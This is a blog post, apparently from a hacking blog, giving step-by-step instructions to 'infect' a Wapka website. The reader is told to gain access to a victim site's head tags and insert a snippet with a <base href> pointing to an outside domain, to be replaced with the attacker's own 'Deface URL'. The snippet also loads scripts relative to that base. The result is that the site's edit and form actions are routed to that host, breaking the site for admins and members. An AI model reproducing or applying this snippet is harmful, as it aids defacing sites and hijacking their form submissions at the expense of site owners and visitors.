HOW TO INFECT A WAPKA WEBSITE USING AJAX REQUEST



Dinner is Served, I'm gonna be highlighting you all
on how you can Infest wapka URL Handler by using
just a
kind of RBQ Escape Function (AJAX)
It just a simple Combination of Codes Snipplet design
by Ajaxdaddy. com which was intentionally created for
Handling a Javascript Dialog Shoutbox. But
thanks to #Dr1. . .
As He reveal this trick to me. Just incase you're
confused.

What this little Freak
scripts does is to Infect the Wapka Site Main Base /
directory with an illegal command which in turn
makes it difficult for both ADMINS & MEMBERS ( in
most cases )

NOTE : Inorder for this Hack attempt to be
Successfully Initiated. You must in one way or the
other be able to Access that user Wapka site "HEAD
TAGS"...

( you can als test it on your own wapka site )
STEP 1: After Gaining access to their site Head tags . . .

STEP 2: Copy the below snip into the head tags

<meta http-equiv="Content-Type" content="text/
html; charset=iso-8859-1"/>
<base href="http://www.ajaxdaddy.com/ "/>
<script type="text/javascript" src="javascript/
jquery.js"></script>
<script type="text/javascript" src="javascript/
jquery.form.js"></script>
{ Change the "/ajaxdaddy/" with your own Deface
URL}

STEP 3: Now if they Try to carry out any action like
{ Edit site, Forms, GET & POST }.

They will Have an illegal handling of action . ERROR !
Assuming You're Editing a Wapka Site.

The Database Handles the Document like
E.g : http://Your_Site_Url . t k /edit_108.xhtml?
action=edit_pro&hash=d2daedc3e9c341b5ff685fc3c9af16&

But after mounting the illegal scripts on their Headtags.
It becomes E.g http://www.ajaxdaddy.com/media/
demos/play/1/shoutbox/shoutbox/edit_108.xhtml?
action=edit_pro&hash=d2daedc3e9c341b5ff685fc3c9af16&

As you can see the <base> has infected the page
with a different web address, thereby making it a
whole bunch weird to the Victim or Admin of that
Site !



Your comments are allowed . feel free to as questions on this topic!





Never miss any of my future post 
 CLICK HERE TO SUBSCRIBE
Once entered, you will have to check your Inbox for a confirmation email containing a confirmation link.
Once you verify your email  by clicking on the confirmation link in the message, you will never miss any future articles.

Click here

to like us on facebook or

click here

to join us on Facebook

you can use the share button below to share our articles and also we love comment, should incase you have difficulty in doing this notify us in the comment box below
Thanks For You Reading The Post We are very happy for you to come to our site. Our Website Domain name http://codedforum.blogspot.com/?m=0.
Newer Posts Newer Posts Older Posts Older Posts

More posts

Comments

Post a Comment